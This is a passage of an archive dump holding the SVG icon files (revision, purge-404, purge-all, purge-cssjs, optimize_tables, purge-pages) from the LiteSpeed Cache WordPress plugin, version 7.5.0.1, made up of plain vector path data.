		C42.029,22.487,42.169,23.023,42.586,23.268z"/>
	<path fill="#6699CC" d="M49.389,31.182c0.139,0.082,0.291,0.121,0.441,0.121c0.3,0,0.592-0.154,0.755-0.432l3.548-6.034
		c0.245-0.417,0.105-0.953-0.311-1.198c-0.418-0.246-0.953-0.105-1.197,0.311l-3.548,6.034
		C48.832,30.401,48.971,30.937,49.389,31.182z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/revision.svg000064400000005522151031165260022043 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M60.912,72.441H14.087c-1.493,0-2.708-1.214-2.708-2.708V5.266c0-1.493,1.215-2.708,2.708-2.708h46.827
		c1.492,0,2.708,1.215,2.708,2.708v64.468C63.62,71.228,62.406,72.441,60.912,72.441z M14.087,4.206c-0.584,0-1.06,0.476-1.06,1.06
		v64.468c0,0.584,0.476,1.061,1.06,1.061h46.827c0.583,0,1.06-0.477,1.06-1.061V5.266c0-0.583-0.477-1.06-1.06-1.06H14.087z"/>
</g>
<g>
	<path fill="#6699CC" d="M53.625,16.858h-32.25c-0.483,0-0.875-0.392-0.875-0.875s0.392-0.875,0.875-0.875h32.25
		c0.482,0,0.875,0.392,0.875,0.875S54.107,16.858,53.625,16.858z"/>
</g>
<g>
	<path fill="#6699CC" d="M53.625,27.617h-32.25c-0.483,0-0.875-0.392-0.875-0.875c0-0.483,0.392-0.875,0.875-0.875h32.25
		c0.482,0,0.875,0.392,0.875,0.875C54.5,27.225,54.107,27.617,53.625,27.617z"/>
</g>
<g>
	<path fill="#6699CC" d="M53.625,38.375h-32.25c-0.483,0-0.875-0.392-0.875-0.875s0.392-0.875,0.875-0.875h32.25
		c0.482,0,0.875,0.392,0.875,0.875S54.107,38.375,53.625,38.375z"/>
</g>
<g>
	<path fill="#6699CC" d="M29.373,49.133h-7.998c-0.483,0-0.875-0.392-0.875-0.875c0-0.482,0.392-0.875,0.875-0.875h7.998
		c0.483,0,0.875,0.393,0.875,0.875C30.248,48.741,29.856,49.133,29.373,49.133z"/>
</g>
<g>
	<path fill="#6699CC" d="M27.763,59.893h-6.388c-0.483,0-0.875-0.392-0.875-0.875c0-0.482,0.392-0.875,0.875-0.875h6.388
		c0.483,0,0.875,0.393,0.875,0.875C28.638,59.501,28.247,59.893,27.763,59.893z"/>
</g>
<g>
	<path fill="#6699CC" d="M35.727,49.516"/>
</g>
<g>
	<path fill="#6699CC" d="M50.613,64.8"/>
</g>
<g>
	<g>
		<path fill="#6699CC" d="M44.561,67.521c-6.457,0-11.709-5.254-11.709-11.711c0-0.719,0.066-1.438,0.195-2.141l1.721,0.318
			c-0.11,0.597-0.166,1.21-0.166,1.822c0,5.491,4.467,9.959,9.959,9.959c1.992,0,3.916-0.586,5.563-1.696l0.979,1.45
			C49.165,66.831,46.902,67.521,44.561,67.521z"/>
	</g>
	<g>
		<g>
			<polygon fill="#6699CC" points="30.879,53.666 35.572,49.759 36.61,55.777 			"/>
		</g>
	</g>
</g>
<g>
	<g>
		<path fill="#6699CC" d="M56.075,57.952l-1.722-0.316c0.11-0.6,0.166-1.214,0.166-1.823c0-5.492-4.468-9.961-9.959-9.961
			c-1.994,0-3.918,0.588-5.564,1.698l-0.979-1.45c1.937-1.308,4.198-1.998,6.543-1.998c6.457,0,11.709,5.254,11.709,11.711
			C56.271,56.527,56.205,57.248,56.075,57.952z"/>
	</g>
	<g>
		<g>
			<polygon fill="#6699CC" points="58.242,57.958 53.548,61.865 52.512,55.848 			"/>
		</g>
	</g>
</g>
<g>
	<path fill="#6699CC" d="M38.507,46.824"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-404.svg000064400000007735151031165260021644 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M30.075,34.093H28.1v-9.829c0-0.138-0.112-0.25-0.25-0.25h-1.805c-0.082,0-0.158,0.04-0.205,0.106
		l-7.116,10.142c-0.03,0.042-0.045,0.092-0.045,0.144v1.486c0,0.138,0.112,0.25,0.25,0.25h7.041v3.195c0,0.138,0.112,0.25,0.25,0.25
		h1.63c0.138,0,0.25-0.112,0.25-0.25v-3.195h1.975c0.138,0,0.25-0.112,0.25-0.25v-1.549C30.325,34.205,30.213,34.093,30.075,34.093z
		 M21.113,34.093l4.413-6.275c0.16-0.241,0.328-0.517,0.5-0.826c-0.037,0.857-0.056,1.651-0.056,2.369v4.732H21.113z"/>
	<path fill="#6699CC" d="M40.443,37.759c0.839-1.313,1.264-3.31,1.264-5.938c0-2.539-0.439-4.513-1.305-5.867
		c-0.891-1.389-2.209-2.094-3.918-2.094c-1.751,0-3.074,0.677-3.933,2.011c-0.836,1.3-1.26,3.301-1.26,5.95
		c0,2.566,0.438,4.548,1.301,5.892c0.886,1.379,2.195,2.079,3.892,2.079C38.248,39.792,39.58,39.108,40.443,37.759z M36.484,37.825
		c-1.029,0-1.758-0.443-2.229-1.356c-0.492-0.955-0.741-2.519-0.741-4.648c0-2.131,0.25-3.691,0.741-4.638
		c0.47-0.906,1.199-1.347,2.229-1.347c1.042,0,1.776,0.447,2.243,1.365c0.489,0.961,0.737,2.515,0.737,4.619
		c0,2.103-0.248,3.661-0.738,4.629C38.259,37.375,37.526,37.825,36.484,37.825z"/>
	<path fill="#6699CC" d="M50.061,24.014c-0.081,0-0.158,0.04-0.205,0.106l-7.117,10.142c-0.029,0.042-0.045,0.092-0.045,0.144v1.486
		c0,0.138,0.112,0.25,0.25,0.25h7.041v3.195c0,0.138,0.112,0.25,0.25,0.25h1.631c0.138,0,0.25-0.112,0.25-0.25v-3.195h1.975
		c0.138,0,0.25-0.112,0.25-0.25v-1.549c0-0.138-0.112-0.25-0.25-0.25h-1.975v-9.829c0-0.138-0.112-0.25-0.25-0.25H50.061z
		 M45.128,34.093l4.412-6.275c0.16-0.241,0.327-0.517,0.5-0.826c-0.037,0.857-0.056,1.651-0.056,2.369v4.732H45.128z"/>
	<path fill="#6699CC" d="M17.361,5h-0.05c-0.483,0-0.85,0.392-0.85,0.875s0.417,0.875,0.9,0.875c0.483,0,0.875-0.392,0.875-0.875
		S17.845,5,17.361,5z"/>
	<path fill="#6699CC" d="M20.898,5h-0.086c-0.483,0-0.832,0.392-0.832,0.875s0.435,0.875,0.918,0.875s0.875-0.392,0.875-0.875
		S21.382,5,20.898,5z"/>
	<path fill="#6699CC" d="M24.398,5h-0.05c-0.483,0-0.85,0.392-0.85,0.875s0.417,0.875,0.9,0.875s0.875-0.392,0.875-0.875
		S24.882,5,24.398,5z"/>
	<path fill="#6699CC" d="M37.626,59.27c0,5.621,4.574,10.195,10.196,10.195c5.623,0,10.197-4.574,10.197-10.195
		c0-5.623-4.574-10.197-10.197-10.197C42.2,49.07,37.626,53.646,37.626,59.27z M56.27,59.27c0,4.656-3.789,8.445-8.446,8.445
		s-8.446-3.789-8.446-8.445c0-4.658,3.789-8.447,8.446-8.447C52.48,50.82,56.27,54.609,56.27,59.27z"/>
	<path fill="#6699CC" d="M42.833,64.257c0.171,0.171,0.396,0.257,0.619,0.257c0.223,0,0.448-0.086,0.618-0.257l3.753-3.752
		l3.752,3.752c0.171,0.171,0.396,0.257,0.618,0.257c0.224,0,0.449-0.086,0.619-0.257c0.342-0.342,0.342-0.896,0-1.237l-3.752-3.752
		l3.752-3.752c0.342-0.343,0.342-0.896,0-1.238s-0.896-0.342-1.237,0l-3.752,3.752l-3.753-3.752c-0.342-0.342-0.896-0.342-1.237,0
		c-0.341,0.342-0.341,0.896,0,1.238l3.752,3.752l-3.752,3.752C42.492,63.361,42.492,63.915,42.833,64.257z"/>
	<path fill="#6699CC" d="M62.77,13.878c-0.041-0.079-0.082-0.158-0.148-0.225L50.535,1.569c-0.004-0.003-0.01-0.004-0.012-0.008
		c-0.08-0.076-0.17-0.138-0.272-0.181c-0.106-0.044-0.222-0.067-0.335-0.067H14.812c-1.585,0-2.875,1.29-2.875,2.875v66.625
		c0,1.586,1.29,2.875,2.875,2.875h45.377c1.584,0,2.875-1.289,2.875-2.875v-56.29C63.063,14.265,62.947,14.039,62.77,13.878z
		 M50.791,4.3l9.348,9.348h-8.223c-0.62,0-1.125-0.505-1.125-1.125V4.3z M13.687,4.188c0-0.621,0.504-1.125,1.125-1.125h34.229
		v6.126H13.687V4.188z M61.313,70.813c0,0.621-0.504,1.125-1.125,1.125H14.812c-0.62,0-1.125-0.504-1.125-1.125V10.938h35.354v1.584
		c0,1.585,1.29,2.875,2.875,2.875h9.396V70.813z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-all.svg000064400000011415151031165260022073 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M50.955,23.981l-17.298-7.355c-0.446-0.19-0.959,0.018-1.147,0.463c-0.189,0.445,0.018,0.958,0.463,1.147
		l17.296,7.355c0.112,0.047,0.229,0.07,0.344,0.07c0.34,0,0.664-0.2,0.806-0.533C51.605,24.684,51.398,24.17,50.955,23.981z"/>
	<path fill="#6699CC" d="M37.581,23.984l-5.931-2.612c-0.443-0.195-0.959,0.006-1.153,0.448c-0.195,0.442,0.006,0.958,0.448,1.153
		l5.931,2.612c0.115,0.05,0.234,0.074,0.352,0.074c0.336,0,0.657-0.195,0.801-0.522C38.225,24.695,38.023,24.179,37.581,23.984z"/>
	<path fill="#6699CC" d="M56.841,27.021h-0.973l2.483-5.843c0.545-1.285-0.057-2.775-1.34-3.322l-2.213-0.94l1.564-5.533
		c0.379-1.344-0.406-2.746-1.75-3.125l-24.202-6.84c-1.341-0.379-2.748,0.405-3.127,1.75l-3.206,11.346
		c-0.021,0.075-0.016,0.149-0.017,0.224l-0.817-0.103c-0.67-0.085-1.336,0.098-1.87,0.513c-0.535,0.416-0.875,1.014-0.958,1.685
		l-1.28,10.189H18.16c-1.549,0-2.809,1.26-2.809,2.809c0,0.034,0.002,0.068,0.006,0.103l4.831,40.993
		c0.03,1.523,1.278,2.753,2.808,2.753h29.007c1.53,0,2.778-1.229,2.808-2.753l4.834-40.993c0.004-0.034,0.006-0.068,0.006-0.103
		C59.648,28.281,58.391,27.021,56.841,27.021z M56.328,19.466c0.396,0.169,0.581,0.631,0.412,1.028l-2.555,6.01
		c-0.072,0.171-0.07,0.348-0.035,0.517H24.933l7.222-16.982c0.082-0.192,0.233-0.341,0.427-0.419c0.195-0.079,0.408-0.077,0.6,0.005
		l20.276,8.621c0.019,0.006,0.03,0.021,0.05,0.026c0.006,0.001,0.012,0.001,0.016,0.002L56.328,19.466z M28.969,3.642
		c0.118-0.416,0.549-0.659,0.968-0.541L54.139,9.94c0.416,0.118,0.658,0.552,0.543,0.967l-1.505,5.318l-19.311-8.21
		c-0.624-0.265-1.312-0.271-1.939-0.018c-0.628,0.253-1.119,0.736-1.383,1.358l-2.517,5.918c-0.062-0.023-0.12-0.054-0.188-0.063
		l-2.065-0.259L28.969,3.642z M22.152,17.049c0.026-0.208,0.131-0.393,0.296-0.521c0.166-0.128,0.374-0.185,0.579-0.159l4.304,0.54
		l-4.037,9.495c-0.087,0.205-0.082,0.421-0.017,0.617H20.9L22.152,17.049z M53.066,70.768c-0.004,0.034-0.006,0.068-0.006,0.104
		c0,0.584-0.475,1.059-1.059,1.059H22.996c-0.583,0-1.059-0.475-1.059-1.059c0-0.034-0.002-0.068-0.006-0.104l-4.829-40.98
		c0.023-0.563,0.489-1.015,1.058-1.015h38.681c0.569,0,1.034,0.451,1.058,1.015L53.066,70.768z"/>
	<path fill="#6699CC" d="M28.884,63.443c-0.48,0.055-0.826,0.486-0.772,0.968l0.326,2.907c0.05,0.447,0.429,0.777,0.869,0.777
		c0.032,0,0.065-0.002,0.099-0.006c0.48-0.054,0.826-0.486,0.772-0.967l-0.326-2.908C29.797,63.734,29.364,63.382,28.884,63.443z"/>
	<path fill="#6699CC" d="M26.532,42.486c0.48-0.055,0.826-0.486,0.772-0.967l-0.759-6.771c-0.054-0.479-0.479-0.819-0.967-0.772
		c-0.48,0.054-0.826,0.487-0.772,0.967l0.759,6.771c0.05,0.447,0.429,0.777,0.869,0.777C26.466,42.492,26.499,42.49,26.532,42.486z"
		/>
	<path fill="#6699CC" d="M46.116,63.445c-0.485-0.057-0.914,0.291-0.968,0.771l-0.325,2.906c-0.056,0.48,0.29,0.913,0.771,0.967
		c0.033,0.004,0.066,0.006,0.1,0.006c0.438,0,0.818-0.33,0.867-0.777l0.326-2.905C46.941,63.934,46.598,63.5,46.116,63.445z"/>
	<path fill="#6699CC" d="M49.421,33.976c-0.487-0.052-0.913,0.292-0.967,0.772l-0.731,6.525c-0.056,0.479,0.291,0.912,0.771,0.967
		c0.032,0.004,0.065,0.006,0.099,0.006c0.439,0,0.818-0.33,0.868-0.777l0.731-6.525C50.247,34.463,49.9,34.03,49.421,33.976z"/>
	<path fill="#6699CC" d="M37.306,64.895c-0.483,0-0.875,0.392-0.875,0.875v1.453c0,0.482,0.392,0.875,0.875,0.875
		s0.875-0.393,0.875-0.875V65.77C38.182,65.285,37.789,64.895,37.306,64.895z"/>
	<path fill="#6699CC" d="M37.306,37.75c0.483,0,0.875-0.392,0.875-0.875v-2.029c0-0.483-0.393-0.875-0.875-0.875
		s-0.875,0.392-0.875,0.875v2.029C36.431,37.358,36.822,37.75,37.306,37.75z"/>
	<path fill="#6699CC" d="M37.5,40.496c-6.108,0-11.078,4.97-11.078,11.079c0,6.108,4.97,11.077,11.078,11.077
		c6.109,0,11.079-4.969,11.079-11.077C48.578,45.466,43.607,40.496,37.5,40.496z M37.5,60.902c-5.144,0-9.328-4.185-9.328-9.327
		c0-5.146,4.185-9.329,9.328-9.329c5.145,0,9.329,4.186,9.329,9.329C46.828,56.719,42.645,60.902,37.5,60.902z"/>
	<path fill="#6699CC" d="M38.74,51.574l4.164-4.165c0.341-0.343,0.341-0.896,0-1.238c-0.342-0.342-0.896-0.342-1.238,0L37.5,50.336
		l-4.166-4.165c-0.342-0.342-0.896-0.342-1.237,0c-0.341,0.343-0.342,0.896,0,1.238l4.165,4.165l-4.165,4.165
		c-0.342,0.342-0.342,0.896,0,1.237c0.171,0.172,0.395,0.256,0.619,0.256c0.224,0,0.448-0.084,0.619-0.256l4.166-4.164l4.166,4.164
		c0.171,0.172,0.396,0.256,0.619,0.256c0.223,0,0.448-0.084,0.618-0.256c0.342-0.342,0.342-0.896,0-1.237L38.74,51.574z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-cssjs.svg000064400000011654151031165260022455 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M47.673,48.495c-5.733,0-10.4,4.666-10.4,10.401c0,5.733,4.667,10.398,10.4,10.398
		c5.735,0,10.401-4.665,10.401-10.398C58.074,53.161,53.408,48.495,47.673,48.495z M47.673,67.546c-4.771,0-8.649-3.88-8.649-8.649
		c0-4.771,3.881-8.65,8.649-8.65c4.771,0,8.651,3.881,8.651,8.65S52.443,67.546,47.673,67.546z"/>
	<path fill="#6699CC" d="M52.758,53.811c-0.34-0.343-0.896-0.341-1.236,0l-3.848,3.848l-3.847-3.848
		c-0.343-0.343-0.897-0.343-1.237,0c-0.342,0.342-0.343,0.896-0.001,1.236l3.849,3.85l-3.849,3.849
		c-0.342,0.341-0.341,0.896,0.001,1.237c0.17,0.17,0.395,0.256,0.618,0.256s0.448-0.086,0.619-0.256l3.847-3.849l3.848,3.849
		c0.17,0.17,0.396,0.256,0.619,0.256c0.223,0,0.447-0.086,0.617-0.256c0.342-0.342,0.344-0.896,0.001-1.237l-3.848-3.849l3.848-3.85
		C53.102,54.706,53.1,54.15,52.758,53.811z"/>
	<path fill="#6699CC" d="M64.165,17.493c-0.044-0.117-0.108-0.228-0.205-0.32l-9.576-9.197c-0.03-0.029-0.067-0.041-0.102-0.064
		c-0.058-0.042-0.111-0.087-0.179-0.114c-0.076-0.031-0.156-0.04-0.236-0.048c-0.031-0.003-0.059-0.018-0.09-0.018h-0.015
		c-0.003,0-0.005,0-0.007,0h-3.189c-0.029-0.041-0.047-0.088-0.086-0.124l-5.531-5.314c-0.03-0.029-0.067-0.04-0.102-0.064
		c-0.058-0.042-0.111-0.087-0.18-0.114c-0.072-0.03-0.148-0.037-0.227-0.046c-0.034-0.004-0.064-0.02-0.101-0.02h-0.016
		c-0.001,0-0.002,0-0.004,0H12.917c-1.451,0-2.632,1.18-2.632,2.631v59.231c0,1.449,1.181,2.631,2.632,2.631h4.382v4.909
		c0,1.479,1.205,2.685,2.685,2.685h41.583c1.479,0,2.684-1.203,2.684-2.685V17.857C64.25,17.726,64.217,17.604,64.165,17.493z
		 M54.652,10.661l6.574,6.314l-6.574-0.023V10.661z M45.218,4.979l2.866,2.753h-2.866V4.979z M12.917,64.793
		c-0.486,0-0.882-0.396-0.882-0.881V4.681c0-0.486,0.396-0.881,0.882-0.881h30.551v3.932H19.984c-1.48,0-2.685,1.205-2.685,2.686
		v54.375H12.917z M62.5,71.452c0,0.516-0.419,0.935-0.934,0.935H19.984c-0.516,0-0.935-0.419-0.935-0.935V10.417
		c0-0.516,0.419-0.936,0.935-0.936h32.918v7.469c0,0.982,0.798,1.781,1.779,1.781H62.5V71.452z"/>
	<path fill="#6699CC" d="M28.199,23.273c-0.715,0.622-1.073,1.868-1.073,3.739v3.275c0,1.27-0.229,2.15-0.686,2.641
		c-0.457,0.491-1.287,0.736-2.488,0.736h-0.774v1.333h0.774c1.202,0,2.031,0.246,2.488,0.736c0.457,0.49,0.686,1.371,0.686,2.641
		v3.274c0,1.871,0.357,3.119,1.073,3.746c0.716,0.625,2.126,0.938,4.234,0.938h0.787V45h-0.863c-1.193,0-1.972-0.188-2.336-0.559
		c-0.364-0.373-0.546-1.155-0.546-2.35V38.45c0-1.329-0.208-2.277-0.622-2.844s-1.181-0.995-2.298-1.282
		c1.1-0.254,1.862-0.668,2.285-1.244s0.635-1.532,0.635-2.869v-3.644c0-1.193,0.182-1.976,0.546-2.349s1.143-0.559,2.336-0.559
		h0.863v-1.32h-0.787C30.326,22.34,28.915,22.651,28.199,23.273z"/>
	<path fill="#6699CC" d="M38.425,43.136c0.091,0,0.181-0.024,0.263-0.073c1.3-0.803,2.289-1.768,2.94-2.869
		c0.653-1.102,1.021-2.433,1.092-3.958c0.007-0.136-0.043-0.27-0.138-0.369c-0.094-0.099-0.225-0.155-0.361-0.155H39.72
		c-0.276,0-0.5,0.224-0.5,0.5v0.47c0,1.045-0.172,1.941-0.511,2.662c-0.335,0.713-0.873,1.342-1.596,1.873
		c-0.118,0.088-0.191,0.221-0.203,0.365c-0.012,0.145,0.042,0.288,0.145,0.393l1.016,1.016
		C38.168,43.086,38.296,43.136,38.425,43.136z M39.614,39.77c0.398-0.848,0.603-1.875,0.605-3.058h1.464
		c-0.113,1.14-0.422,2.138-0.916,2.972c-0.513,0.867-1.276,1.646-2.273,2.313l-0.336-0.335
		C38.794,41.109,39.282,40.475,39.614,39.77z"/>
	<path fill="#6699CC" d="M40.914,31.685c0.609,0,1.132-0.214,1.553-0.635c0.422-0.421,0.637-0.944,0.637-1.554
		c0-0.6-0.213-1.119-0.634-1.544c-0.842-0.853-2.264-0.854-3.108-0.009c-0.422,0.422-0.635,0.944-0.635,1.553
		s0.213,1.131,0.635,1.554C39.782,31.471,40.307,31.685,40.914,31.685z M40.066,28.65c0.233-0.234,0.504-0.343,0.848-0.343
		c0.338,0,0.613,0.113,0.844,0.347c0.231,0.235,0.346,0.51,0.346,0.842c0,0.344-0.108,0.612-0.344,0.846
		c-0.464,0.464-1.229,0.464-1.691,0c-0.229-0.23-0.342-0.507-0.342-0.846S39.838,28.88,40.066,28.65z"/>
	<path fill="#6699CC" d="M54.563,27.012c0-1.871-0.354-3.117-1.062-3.739c-0.706-0.622-2.113-0.933-4.221-0.933h-0.8v1.32h0.889
		c1.185,0,1.957,0.184,2.316,0.552s0.539,1.153,0.539,2.355v3.644c0,1.337,0.209,2.293,0.629,2.869
		c0.418,0.576,1.179,0.99,2.278,1.244c-1.108,0.288-1.871,0.715-2.284,1.282c-0.416,0.567-0.623,1.515-0.623,2.844v3.644
		c0,1.202-0.18,1.986-0.539,2.355c-0.359,0.367-1.133,0.552-2.316,0.552H48.48v1.333h0.8c2.106,0,3.515-0.313,4.221-0.939
		c0.707-0.625,1.062-1.875,1.062-3.744v-3.275c0-1.27,0.229-2.15,0.686-2.641c0.457-0.491,1.286-0.736,2.488-0.736h0.787v-1.333
		h-0.787c-1.202,0-2.031-0.246-2.488-0.736c-0.457-0.49-0.686-1.371-0.686-2.641V27.012z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/optimize_tables.svg000064400000005505151031165260023400 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<polygon fill="#6699CC" points="33.496,19.622 41.335,23.493 48.044,17.635 49.146,18.897 50.775,14.133 45.835,15.104 
		46.937,16.367 41.075,21.487 33.354,17.676 22.786,24.961 23.741,26.347 	"/>
	<path fill="#6699CC" d="M64.08,13.12c-0.041-0.11-0.104-0.216-0.195-0.303L53.709,3.043c-0.027-0.027-0.063-0.039-0.095-0.061
		c-0.057-0.042-0.11-0.084-0.175-0.112c-0.067-0.027-0.138-0.033-0.209-0.042c-0.036-0.004-0.068-0.021-0.104-0.021h-0.017
		c-0.002,0-0.002,0-0.002,0h-39.51c-1.524,0-2.765,1.241-2.765,2.765v64.853c0,1.525,1.24,2.765,2.765,2.765h47.807
		c1.522,0,2.765-1.239,2.765-2.765V13.478C64.167,13.349,64.133,13.229,64.08,13.12z M53.968,5.625l7.3,7.011h-7.18
		c-0.065,0-0.12-0.054-0.12-0.12V5.625z M62.483,70.427c0,0.597-0.484,1.082-1.081,1.082H13.598c-0.597,0-1.082-0.485-1.082-1.082
		V5.574c0-0.596,0.485-1.082,1.082-1.082h38.688v8.025c0,0.995,0.809,1.803,1.803,1.803h8.396V70.427z"/>
	<path fill="#6699CC" d="M17.724,28.494c-0.464,0-0.842,0.377-0.842,0.842v28.058c0,0.465,0.377,0.841,0.842,0.841h39.185
		c0.065,0,0.122-0.023,0.184-0.036c0.061,0.013,0.118,0.036,0.183,0.036c0.464,0,0.842-0.376,0.842-0.841V29.336
		c0-0.465-0.378-0.842-0.842-0.842c-0.064,0-0.122,0.023-0.183,0.037c-0.062-0.014-0.118-0.037-0.184-0.037H17.724z M56.435,37.847
		H41.649v-2.992h14.785V37.847z M18.565,34.854h4.931v2.992h-4.931V34.854z M18.565,39.529h4.931v2.993h-4.931V39.529z
		 M39.966,47.199H25.18v-2.994h14.786V47.199z M41.649,44.205h14.785v2.994H41.649V44.205z M25.18,42.522v-2.993h14.786v2.993H25.18
		z M23.497,44.205v2.994h-4.931v-2.994H23.497z M23.497,48.882v2.992h-4.931v-2.992H23.497z M25.18,48.882h14.786v2.992H25.18
		V48.882z M41.649,48.882h14.785v2.992H41.649V48.882z M56.435,42.522H41.649v-2.993h14.785V42.522z M39.966,37.847H25.18v-2.992
		h14.786V37.847z M25.18,33.171v-2.994h14.786v2.994H25.18z M23.497,33.171h-4.931v-2.994h4.931V33.171z M18.565,53.559h4.931v2.993
		h-4.931V53.559z M25.18,53.559h14.786v2.993H25.18V53.559z M41.649,53.559h14.785v2.993H41.649V53.559z M56.435,33.171H41.649
		v-2.994h14.785V33.171z"/>
	<path fill="#6699CC" d="M28.019,37.043h9.289c0.398,0,0.721-0.323,0.721-0.721s-0.323-0.721-0.721-0.721h-9.289
		c-0.398,0-0.721,0.323-0.721,0.721S27.62,37.043,28.019,37.043z"/>
	<path fill="#6699CC" d="M44.5,37.043h9.29c0.397,0,0.721-0.323,0.721-0.721s-0.323-0.721-0.721-0.721H44.5
		c-0.398,0-0.721,0.323-0.721,0.721S44.102,37.043,44.5,37.043z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-pages.svg000064400000007664151031165260022435 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M47.423,47.475c-6.108,0-11.078,4.971-11.078,11.08c0,6.107,4.969,11.077,11.078,11.077
		c6.109,0,11.079-4.97,11.079-11.077C58.502,52.443,53.532,47.475,47.423,47.475z M47.423,67.882c-5.144,0-9.327-4.185-9.327-9.327
		c0-5.146,4.184-9.33,9.327-9.33c5.146,0,9.329,4.186,9.329,9.33C56.752,63.697,52.566,67.882,47.423,67.882z"/>
	<path fill="#6699CC" d="M52.827,53.148c-0.343-0.342-0.896-0.342-1.238,0l-4.165,4.166l-4.165-4.166
		c-0.342-0.342-0.896-0.342-1.237,0c-0.342,0.343-0.342,0.896,0,1.238l4.164,4.165l-4.164,4.165c-0.342,0.342-0.342,0.896,0,1.238
		c0.17,0.171,0.396,0.256,0.619,0.256c0.223,0,0.447-0.085,0.618-0.256l4.165-4.165l4.165,4.165
		c0.171,0.171,0.396,0.256,0.619,0.256s0.448-0.085,0.619-0.256c0.341-0.342,0.341-0.896,0-1.238l-4.165-4.165l4.165-4.165
		C53.168,54.046,53.168,53.491,52.827,53.148z"/>
	<path fill="#6699CC" d="M64.166,21.332c-0.045-0.116-0.109-0.225-0.205-0.316l-8.912-8.56c-0.029-0.028-0.066-0.04-0.1-0.063
		c-0.059-0.042-0.113-0.087-0.182-0.115c-0.072-0.029-0.147-0.036-0.225-0.045c-0.035-0.004-0.064-0.021-0.102-0.021h-0.018
		c-0.001,0-0.002,0-0.003,0h-2.938c-0.023-0.032-0.037-0.07-0.067-0.099l-5.149-4.946c-0.031-0.031-0.072-0.044-0.107-0.069
		c-0.057-0.04-0.107-0.083-0.172-0.109c-0.071-0.029-0.146-0.036-0.223-0.045c-0.035-0.004-0.066-0.021-0.104-0.021h-0.018
		c0,0,0,0-0.002,0h-2.832c-0.045-0.119-0.108-0.232-0.207-0.326L36.901,1.12c0,0-0.001,0-0.001-0.001l-0.012-0.012
		c-0.027-0.026-0.061-0.036-0.09-0.057c-0.061-0.046-0.12-0.093-0.191-0.122c-0.064-0.026-0.132-0.03-0.2-0.04
		c-0.042-0.006-0.081-0.025-0.125-0.025H10.139c-1.364,0-2.474,1.11-2.474,2.474V57.23c0,1.362,1.11,2.473,2.474,2.473h3.38
		c0.139,0,0.266-0.039,0.383-0.098v4.953c0,1.385,1.126,2.51,2.51,2.51h4.018v4.509c0,1.411,1.148,2.56,2.56,2.56h38.701
		c1.41,0,2.559-1.147,2.559-2.56V21.695C64.25,21.564,64.217,21.443,64.166,21.332z M55.316,15.14l5.924,5.689l-5.924,0.023V15.14z
